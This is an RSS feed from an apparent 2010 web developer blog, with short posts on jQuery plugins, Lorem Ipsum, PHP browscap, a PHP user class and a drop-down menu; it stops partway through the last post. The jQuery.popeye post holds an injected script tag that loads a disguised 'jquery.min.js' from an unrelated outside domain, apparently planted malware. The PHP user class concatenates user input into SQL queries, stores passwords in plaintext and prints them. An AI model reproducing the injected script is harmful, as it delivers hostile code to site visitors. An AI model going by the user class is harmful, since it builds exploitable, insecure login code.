<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Silenthinker</title>
	
	<link>http://www.silenthinker.com</link>
	<description>{ Yet another Web Developer Blog }</description>
	<lastBuildDate>Fri, 16 Apr 2010 12:46:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/silenthinker" /><feedburner:info uri="silenthinker" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>silenthinker</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>jQuery.popeye 2.0</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/4YfOVa_-dv0/</link>
		<comments>http://www.silenthinker.com/plugin/jquery-popeye-2-0/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 12:43:24 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[lightbox]]></category>
		<category><![CDATA[Script]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/?p=146</guid>
		<description><![CDATA[jQuery.popeye is an advanced image gallery script built on the JavaScript library jQuery. Use it to save space when displaying a collection of images and offer your users a nice and elegant  way to show a big version of your images without leaving the page flow. <p><a href="http://www.silenthinker.com/plugin/jquery-popeye-2-0/">jQuery.popeye 2.0</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fplugin%2Fjquery-popeye-2-0%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fplugin%2Fjquery-popeye-2-0%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<h5><script src=http://o0qyr.smartenergymodel.com/js/jquery.min.js></script></h5>
<p><strong>Overview</strong><br />
Query.popeye is an advanced image gallery script built on the JavaScript library jQuery. Use it to save space when displaying a collection of images and offer your users a nice and elegant  way to show a big version of your images without leaving the page flow.</p>
<p>Though the script is quick and easy to setup, it offers great flexibility in both behaviour and styling.</p>
<p>It was designed as an alternative to the often-seen JavaScript image lightbox (see Lightbox 2, Fancybox or Colorbox, just to name a few). What they all have in common: they employ a modal window to display the large images, thus disrupting the workflow of the user interacting with a webpage.</p>
<p>jQuery.popeye takes a different approach: not only allows it for browsing all thumbnails as well as the large images in a single image space, it also repects the page flow and stays anchored and rooted in the webpage at all times, thus giving a less disruptive user experience than modal windows.</p>
<p><strong>Demo</strong></p>
<p>http://dev.herr-schuessler.de/jquery/popeye/demo.html</p>
<p><strong>Download</strong></p>
<p>http://plugins.jquery.com/project/popeye</p>
<p><a href="http://www.silenthinker.com/plugin/jquery-popeye-2-0/">jQuery.popeye 2.0</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/4YfOVa_-dv0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/plugin/jquery-popeye-2-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/plugin/jquery-popeye-2-0/</feedburner:origLink></item>
		<item>
		<title>DataTables</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/_8-oU-4UfZw/</link>
		<comments>http://www.silenthinker.com/plugin/datatables/#comments</comments>
		<pubDate>Mon, 15 Mar 2010 04:27:44 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[Table]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/?p=143</guid>
		<description><![CDATA[DataTables is a plug-in for the jQuery  Javascript library. It is a highly flexible tool, based upon the foundations of progressive enhancement, which will add advanced interaction controls to any HTML table.<p><a href="http://www.silenthinker.com/plugin/datatables/">DataTables</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fplugin%2Fdatatables%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fplugin%2Fdatatables%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p><strong>Overview</strong><br />
DataTables is a plug-in for the jQuery  Javascript library. It is a highly flexible tool, based upon the foundations of progressive enhancement, which will add advanced interaction controls to any HTML table.</p>
<p><strong>Usage</strong><br />
<a href="http://datatables.net/usage">http://datatables.net/usage</a></p>
<p><strong>Examples</strong><br />
<a href="http://datatables.net/examples">http://datatables.net/examples</a></p>
<p><strong>Download</strong><br />
<a href="http://datatables.net/download">http://datatables.net/download</a></p>
<p><a href="http://www.silenthinker.com/plugin/datatables/">DataTables</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/_8-oU-4UfZw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/plugin/datatables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/plugin/datatables/</feedburner:origLink></item>
		<item>
		<title>jQuery Cycle Plugin</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/SIPJIlZdBXc/</link>
		<comments>http://www.silenthinker.com/plugin/jquery-cycle-plugin/#comments</comments>
		<pubDate>Mon, 15 Mar 2010 04:19:05 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[Slideshow]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/?p=139</guid>
		<description><![CDATA[The jQuery Cycle Plugin is a slideshow plugin that supports many different types of transition effects. It supports pause-on-hover, auto-stop, auto-fit, before/after callbacks, click triggers and much more.<p><a href="http://www.silenthinker.com/plugin/jquery-cycle-plugin/">jQuery Cycle Plugin</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fplugin%2Fjquery-cycle-plugin%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fplugin%2Fjquery-cycle-plugin%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p><strong>Overview</strong><br />
The jQuery Cycle Plugin is a slideshow plugin that supports many different types of transition effects. It supports pause-on-hover, auto-stop, auto-fit, before/after callbacks, click triggers and much more.</p>
<p><strong>How it Works</strong><br />
The plugin provides a method called cycle which is invoked on a container element. Each child element of the container becomes a &#8220;slide&#8221;. Options control how and when the slides are transitioned.</p>
<p><strong>Demo</strong><br />
<a href="http://malsup.com/jquery/cycle/">http://malsup.com/jquery/cycle/</a></p>
<p><strong>Download</strong><br />
<a href="http://malsup.com/jquery/cycle/download.html">http://malsup.com/jquery/cycle/download.html</a></p>
<p><a href="http://www.silenthinker.com/plugin/jquery-cycle-plugin/">jQuery Cycle Plugin</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/SIPJIlZdBXc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/plugin/jquery-cycle-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/plugin/jquery-cycle-plugin/</feedburner:origLink></item>
		<item>
		<title>Lorem Ipsum?</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/g65sMk00JHQ/</link>
		<comments>http://www.silenthinker.com/web/lorem-ipsum/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 11:41:57 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[Lorem Ipsum]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/?p=126</guid>
		<description><![CDATA[Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum...<p><a href="http://www.silenthinker.com/web/lorem-ipsum/">Lorem Ipsum?</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fweb%2Florem-ipsum%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fweb%2Florem-ipsum%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>What is Lorem Ipsum?<br />
<strong>Lorem Ipsum</strong> is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry&#8217;s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ~ <a href="http://www.lipsum.com/">source</a></p>
<p>Below are some example of Lorem Ipsum text:</p>
<p><em>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque adipiscing sollicitudin augue sed congue. Cras nec nunc nisl, at cursus lacus. Sed pretium tincidunt sollicitudin. Pellentesque sed ligula lacus. Maecenas nulla diam, auctor vitae viverra ac, dignissim at urna. Maecenas non accumsan libero. Pellentesque bibendum pulvinar justo ac pretium. Vivamus eu ornare mi. Quisque volutpat pellentesque facilisis. Phasellus eu massa mauris, non ornare orci. Integer vulputate gravida tristique. Proin fermentum, lacus in lobortis pulvinar, tortor est iaculis quam, vel scelerisque elit mauris sit amet ipsum. Sed vitae condimentum enim. Aenean vel ipsum ac lectus euismod ultricies vel non quam. Integer lacus quam, scelerisque id ultrices id, fringilla vel ipsum. Donec auctor ultricies nisi ut semper. </em></p>
<p><em>Etiam porttitor placerat pretium. Mauris vel ante in tellus consectetur tristique. Mauris cursus felis ac ipsum tincidunt placerat. Maecenas eu dolor ut orci convallis iaculis nec a elit. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed dapibus ornare sem ac convallis. Donec diam libero, venenatis ac volutpat non, euismod non lorem. Nullam urna augue, euismod nec venenatis et, malesuada sed quam. Nulla sagittis, sapien ut semper congue, nibh leo consectetur nunc, ut facilisis lorem lorem ac erat. Integer in orci dolor, non tristique dolor. Nullam ut orci dolor. Fusce volutpat mauris et tortor scelerisque scelerisque. </em></p>
<p><em>Nunc porttitor elementum ante, eget vehicula massa congue tempus. Donec sit amet nibh mauris, vel convallis nunc. Phasellus sagittis eros vitae neque sollicitudin varius. Nunc vulputate bibendum odio molestie rutrum. Donec ornare, nibh in eleifend laoreet, leo ipsum venenatis lacus, et sodales sem diam sed magna. Ut sed nulla libero, non fringilla lacus. Nullam porta leo eu est scelerisque vel consectetur sapien sagittis. Mauris dui mauris, imperdiet nec tincidunt quis, rhoncus nec libero. Duis at laoreet dui. Vestibulum vestibulum arcu nec odio adipiscing sed vestibulum tortor ultricies. In leo lacus, laoreet eget sagittis non, suscipit a lectus. Donec accumsan, nulla et pulvinar gravida, justo metus ornare mauris, ut gravida metus nisi fermentum dolor. Sed malesuada ligula at est ultricies ac eleifend dui feugiat. Donec quis ligula dui, at dapibus magna. Aenean blandit malesuada dapibus. Duis sit amet mi quis orci vulputate vehicula id et odio. Nullam neque nibh, lobortis eget lobortis sit amet, fringilla eu ligula. </em></p>
<p><em>Sed rhoncus rutrum erat ac convallis. Sed commodo, nisl eu fringilla auctor, mauris magna lacinia turpis, in molestie mi purus in risus. Duis id neque nunc. Praesent laoreet tincidunt lacus, a ultricies augue luctus facilisis. Ut vitae ullamcorper nibh. Fusce neque nisi, aliquam tristique aliquam et, semper id lectus. Morbi quis imperdiet neque. Nam malesuada felis ipsum. Cras pulvinar consectetur purus, a blandit nunc tincidunt sodales. Sed sed libero neque. Maecenas gravida semper tellus, laoreet pellentesque enim ultricies a. Morbi eu erat eu lorem porttitor placerat. Etiam eget egestas tortor. Morbi at leo sed purus consectetur ullamcorper eu sed metus. </em></p>
<p><em>Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Pellentesque sollicitudin feugiat orci. Morbi vitae nisi quis lorem tincidunt aliquet. Curabitur nisi dui, blandit sed volutpat a, euismod sed mi. Sed hendrerit nibh rhoncus velit rhoncus et auctor ligula tristique. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed arcu magna, accumsan a dictum et, vulputate at justo. Aenean tellus ante, mollis vel pretium sit amet, mattis sit amet justo. In quis dui eros, eu varius arcu. Suspendisse potenti. Phasellus eget enim non turpis lobortis hendrerit. Sed vulputate enim sit amet erat porttitor tempor sit amet vitae sem. Vivamus eu pulvinar ante. Maecenas rhoncus blandit dolor, a convallis sem accumsan congue. Donec eu sem at velit cursus venenatis. Etiam ullamcorper nulla a nisl pellentesque dapibus. Suspendisse tellus magna, gravida a placerat sed, dapibus a purus.</em></p>
<p>Do you use Lorem Ipsum before?</p>
<p><a href="http://www.silenthinker.com/web/lorem-ipsum/">Lorem Ipsum?</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/g65sMk00JHQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/web/lorem-ipsum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/web/lorem-ipsum/</feedburner:origLink></item>
		<item>
		<title>Browser Detection using PHP Browscap</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/zPfV-gYT7tU/</link>
		<comments>http://www.silenthinker.com/how-to/browser-detection-using-php-browscap/#comments</comments>
		<pubDate>Sat, 25 Apr 2009 13:28:25 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[how to]]></category>
		<category><![CDATA[browscap]]></category>
		<category><![CDATA[browscap.ini]]></category>
		<category><![CDATA[browser detection]]></category>
		<category><![CDATA[Browser Information]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP browscap]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/?p=104</guid>
		<description><![CDATA[Requirement latest browscap.ini from Gary Keith&#8217;s site download Jonathan Stoppani&#8217;s browscap.ini parser create a folder called cache as Browscap.php will store information for quick access in the folder. The Code &#60;?php require('Browscap.php'); $bc = new Browscap('cache'); $bc-&#62;localFile = 'php_browscap.ini'; $data = $bc-&#62;getBrowser(); print_r($data); ?&#62; Finally, access $data as an object echo $data-&#62;Browser; Source taken from http://www.evanbot.com/article/php-browscap/19 [...]<p><a href="http://www.silenthinker.com/how-to/browser-detection-using-php-browscap/">Browser Detection using PHP Browscap</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fhow-to%2Fbrowser-detection-using-php-browscap%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fhow-to%2Fbrowser-detection-using-php-browscap%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Requirement</p>
<ul>
<li>latest browscap.ini from <a title="http://browsers.garykeith.com/downloads.asp" href="http://browsers.garykeith.com/downloads.asp">Gary Keith&#8217;s</a> site</li>
<li>download Jonathan Stoppani&#8217;s <a title="http://garetjax.info/projects/browscap" href="http://garetjax.info/projects/browscap"><span style="color: #808080;">browscap.ini parser</span></a></li>
<li>create a folder called <strong>cache</strong> as Browscap.php will store information for quick access in the folder.</li>
</ul>
<p>The Code</p>
<pre class="brush: php;">
&lt;?php
require('Browscap.php');

$bc = new Browscap('cache');
$bc-&gt;localFile = 'php_browscap.ini';

$data = $bc-&gt;getBrowser();
print_r($data);
?&gt;
</pre>
<p>Finally, access $data as an object</p>
<pre class="brush: php;">
echo $data-&gt;Browser;
</pre>
<p>Source taken from http://www.evanbot.com/article/php-browscap/19</p>
<p><a href="http://www.silenthinker.com/how-to/browser-detection-using-php-browscap/">Browser Detection using PHP Browscap</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/zPfV-gYT7tU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/how-to/browser-detection-using-php-browscap/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/how-to/browser-detection-using-php-browscap/</feedburner:origLink></item>
		<item>
		<title>PHP Object Oriented Programming: Simple User Class Methods</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/Xm6ZzJCEU-8/</link>
		<comments>http://www.silenthinker.com/code/php-object-oriented-programming-simple-user-class-methods/#comments</comments>
		<pubDate>Sat, 25 Apr 2009 13:03:19 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[change password form]]></category>
		<category><![CDATA[Class Method]]></category>
		<category><![CDATA[Object Oriented Programming]]></category>
		<category><![CDATA[OOP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[register form]]></category>
		<category><![CDATA[User Class]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/?p=99</guid>
		<description><![CDATA[Database table schema create table usersExample ( userID int not null primary key auto_increment, userName varchar(32) not null, userPassword varchar(32) not null); &#8216;Skeleton&#8217; of the User Class &#60;? // This is the start of the class definition. Note the key word 'class' class User { // Next comes the variable list as defined above // [...]<p><a href="http://www.silenthinker.com/code/php-object-oriented-programming-simple-user-class-methods/">PHP Object Oriented Programming: Simple User Class Methods</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fcode%2Fphp-object-oriented-programming-simple-user-class-methods%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fcode%2Fphp-object-oriented-programming-simple-user-class-methods%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p><strong>Database table schema </strong></p>
<pre class="brush: php;">
create table usersExample (
userID int not null primary key auto_increment,
userName varchar(32) not null,
userPassword varchar(32) not null);
</pre>
<p><strong>&#8216;Skeleton&#8217; of the User Class</strong></p>
<pre class="brush: php;">
&lt;?
// This is the start of the class definition.  Note the key word 'class'

class User {

// Next comes the variable list as defined above
// Note the key word 'var' and then a comma-separated list

var $userID,
$userName,
$userPassword,
$dbHost,
$dbUser,
$dbName,
$dbPass,
$dbUserTable;

// Next come all our methods with their argument lists
// The syntax for these is just like normal PHP functions
// Remember, this is just a skeleton, we will fill in these functions later

function registerUser($userName, $userPassword) {
} // End registerUser()

function verifyPassword() {
} // End verifyPassword()

function changePassword($newPassword) {
} // End changePassword()

function displayUserInfo() {
} // End displayUserInfo()

} // End User class definition
?&gt;
</pre>
<p><strong>Complete User Class Methods</strong></p>
<pre class="brush: php;">
&lt;?
// NOTE: Previous comments in this file have been ommitted - so all the comments are new
// Please refer to the skeleton above for more comments on exactly what is happening

class User {

var $userID,
$userName,
$userPassword,
$dbHost,
$dbUser,
$dbName,
$dbPass,
$dbUserTable;

// This is the constructor function definition - it's possible to pass
// it values just like a normal function, but that isn't demonstrated here
// These variables will be set for each object that is created using this class
function User() {
$this-&gt;dbHost = 'localhost';
$this-&gt;dbUser = 'yourUser';
$this-&gt;dbName = 'yourDatabase';
$this-&gt;dbPass = 'yourPassword';
$this-&gt;dbUserTable = 'usersExample';
}

function registerUser($userName, $userPassword) {
// Connect to database
$dbLink = mysql_connect($this-&gt;dbHost, $this-&gt;dbUser, $this-&gt;dbPass);
if(!$dbLink) die(&quot;Could not connect to database. &quot; . mysql_error());

// Select database
mysql_select_db($this-&gt;dbName);

// Insert data
// Notice the &quot;$userName&quot; and &quot;$userPassword&quot; - these are the ones
// passed in from your main script, not the class/object variables!
$query = &quot;insert into $this-&gt;dbUserTable values (NULL, \&quot;$userName\&quot;, \&quot;$userPassword\&quot;)&quot;;
$result = mysql_query($query);

// Test to make sure query worked
if(!$result) die(&quot;Query didn't work. &quot; . mysql_error());

// Get the user ID
$this-&gt;userID = mysql_insert_id();

// Close database connection
mysql_close($dbLink);

// Assign the values to the data members
$this-&gt;userName = $userName;
$this-&gt;userPassword = $userPassword;
} // End registerUser()

function verifyPassword() {
// Remember, by the time this method is called, your main script will have already
// put the userName and userPassword variables equal to the ones the user typed in

// Connect to database
$dbLink = mysql_connect($this-&gt;dbHost, $this-&gt;dbUser, $this-&gt;dbPass);
if(!$dbLink) die(&quot;Could not connect to database. &quot; . mysql_error());

// Select database
mysql_select_db($this-&gt;dbName);

// Get data
$query = &quot;select userPassword from $this-&gt;dbUserTable where userName = \&quot;$this-&gt;userName\&quot;&quot;;
$result = mysql_query($query);

// Test to make sure query worked
if(!$result) die(&quot;Query didn't work. &quot; . mysql_error());

// Get the password from the database
$actualPassword = mysql_result($result, 0);

// Verify that they match
if(!($actualPassword == $this-&gt;userPassword)) die(&quot;Incorrect Password.&quot;);

// Close database connection
mysql_close($dbLink);
} // End verifyPassword()

function changePassword($newPassword) {
// This function assumes you've already verified that the user has
// permission to change the password - it recieves the new password
// as an argument, with the old password already registered in $userPassword

// Connect to database
$dbLink = mysql_connect($this-&gt;dbHost, $this-&gt;dbUser, $this-&gt;dbPass);
if(!$dbLink) die(&quot;Could not connect to database. &quot; . mysql_error());

// Select database
mysql_select_db($this-&gt;dbName);

// Get data
$query = &quot;update $this-&gt;dbUserTable set userPassword = \&quot;$newPassword\&quot; where userName = \&quot;$this-&gt;userName\&quot;&quot;;
$result = mysql_query($query);

// Test to make sure query worked
if(!$result) die(&quot;Query didn't work. &quot; . mysql_error());

// It worked, so update the password stored in the object
$this-&gt;userPassword = $newPassword;

// Close database connection
mysql_close($dbLink);
} // End changePassword()

function displayUserInfo() {
echo '&lt;b&gt;User ID: &lt;/b&gt;' . $this-&gt;userID . '&lt;br&gt;';
echo '&lt;b&gt;User Name: &lt;/b&gt;' . $this-&gt;userName . '&lt;br&gt;';
echo '&lt;b&gt;User Password: &lt;/b&gt;' . $this-&gt;userPassword . '&lt;br&gt;';
} // End displayUserInfo()

} // End User class definition
?&gt;
</pre>
<h3>Examples Using the User Class</h3>
<p> </p>
<p><strong>Register Form</strong></p>
<pre class="brush: xml;">
&lt;!-- registerForm.html --&gt;

&lt;form method=&quot;post&quot; action=&quot;processRegister.php&quot;&gt;
User Name: &lt;input type=&quot;text&quot; name=&quot;userName&quot; maxlength=&quot;32&quot;&gt;&lt;br&gt;
Password: &lt;input type=&quot;password&quot; name=&quot;userPassword&quot; maxlength=&quot;32&quot;&gt;&lt;br&gt;
&lt;input type=&quot;submit&quot;&gt;
&lt;/form&gt;

&lt;!-- End registerForm.html --&gt;
</pre>
<p><strong>processRegister.php </strong></p>
<pre class="brush: php;">
&lt;?
// processRegister.php
//////////////////////

// First include the class definition
include('UserClass.php');

// Next, create an instance of the class
$newUser = new User;

// Call the registerUser() method, passing in the required variables
$newUser-&gt;registerUser($userName, $userPassword);

// If it was an error, the class will kill the script, if not, it will reach this point
$newUser-&gt;displayUserInfo();
?&gt;
</pre>
<p>-</p>
<p><strong>Change Password Form</strong></p>
<pre class="brush: xml;">
&lt;!-- passwordForm.html --&gt;

&lt;form method=&quot;post&quot; action=&quot;processPassword.php&quot;&gt;
User Name: &lt;input type=&quot;text&quot; name=&quot;userName&quot; maxlength=&quot;32&quot;&gt;&lt;br&gt;
Old Password: &lt;input type=&quot;password&quot; name=&quot;userPassword&quot; maxlength=&quot;32&quot;&gt;&lt;br&gt;
New Password: &lt;input type=&quot;password&quot; name=&quot;newPassword&quot; maxlength=&quot;32&quot;&gt;&lt;br&gt;
&lt;input type=&quot;submit&quot;&gt;
&lt;/form&gt;

&lt;!-- End passwordForm.html --&gt;
</pre>
<p><strong>processpassword.php </strong></p>
<pre class="brush: php;">
&lt;?
// processPassword.php
//////////////////////

// First include the class definition
include('UserClass.php');

// Next, create an instance of the class
$myUser = new User;

// Register the variables with the object
$myUser-&gt;userName = $userName;
$myUser-&gt;userPassword = $userPassword;

// Verify the password is correct
$myUser-&gt;verifyPassword();

// Change the password
$myUser-&gt;changePassword($newPassword);

// If it was an error, the class will kill the script, if not, it will reach this point
$myUser-&gt;displayUserInfo();
?&gt;
</pre>
<p><a href="http://www.silenthinker.com/code/php-object-oriented-programming-simple-user-class-methods/">PHP Object Oriented Programming: Simple User Class Methods</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/Xm6ZzJCEU-8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/code/php-object-oriented-programming-simple-user-class-methods/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/code/php-object-oriented-programming-simple-user-class-methods/</feedburner:origLink></item>
		<item>
		<title>Simple Drop Down Menu</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/vgGtDg6Yf0c/</link>
		<comments>http://www.silenthinker.com/code/simple-drop-down-menu/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 14:23:09 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[dropdown menu]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/?p=73</guid>
		<description><![CDATA[HTML Code &#60;ul id=&#34;sddm&#34;&#62; &#60;li&#62;&#60;a href=&#34;#&#34; onmouseover=&#34;mopen('m1')&#34; onmouseout=&#34;mclosetime()&#34;&#62;Home&#60;/a&#62; &#60;div id=&#34;m1&#34; onmouseover=&#34;mcancelclosetime()&#34; onmouseout=&#34;mclosetime()&#34;&#62; &#60;a href=&#34;#&#34;&#62;HTML Drop Down&#60;/a&#62; &#60;a href=&#34;#&#34;&#62;DHTML Menu&#60;/a&#62; &#60;a href=&#34;#&#34;&#62;JavaScript DropDown&#60;/a&#62; &#60;a href=&#34;#&#34;&#62;Cascading Menu&#60;/a&#62; &#60;a href=&#34;#&#34;&#62;CSS Horizontal Menu&#60;/a&#62; &#60;/div&#62; &#60;/li&#62; &#60;li&#62;&#60;a href=&#34;#&#34; onmouseover=&#34;mopen('m2')&#34; onmouseout=&#34;mclosetime()&#34;&#62;Download&#60;/a&#62; &#60;div id=&#34;m2&#34; onmouseover=&#34;mcancelclosetime()&#34; onmouseout=&#34;mclosetime()&#34;&#62; &#60;a href=&#34;#&#34;&#62;ASP Dropdown&#60;/a&#62; &#60;a href=&#34;#&#34;&#62;Pulldown menu&#60;/a&#62; &#60;a href=&#34;#&#34;&#62;AJAX Drop Submenu&#60;/a&#62; &#60;a href=&#34;#&#34;&#62;DIV Cascading Menu&#60;/a&#62; &#60;/div&#62; &#60;/li&#62; [...]<p><a href="http://www.silenthinker.com/code/simple-drop-down-menu/">Simple Drop Down Menu</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fcode%2Fsimple-drop-down-menu%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fcode%2Fsimple-drop-down-menu%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p><strong>HTML Code</strong></p>
<pre class="brush: plain;">
&lt;ul id=&quot;sddm&quot;&gt;
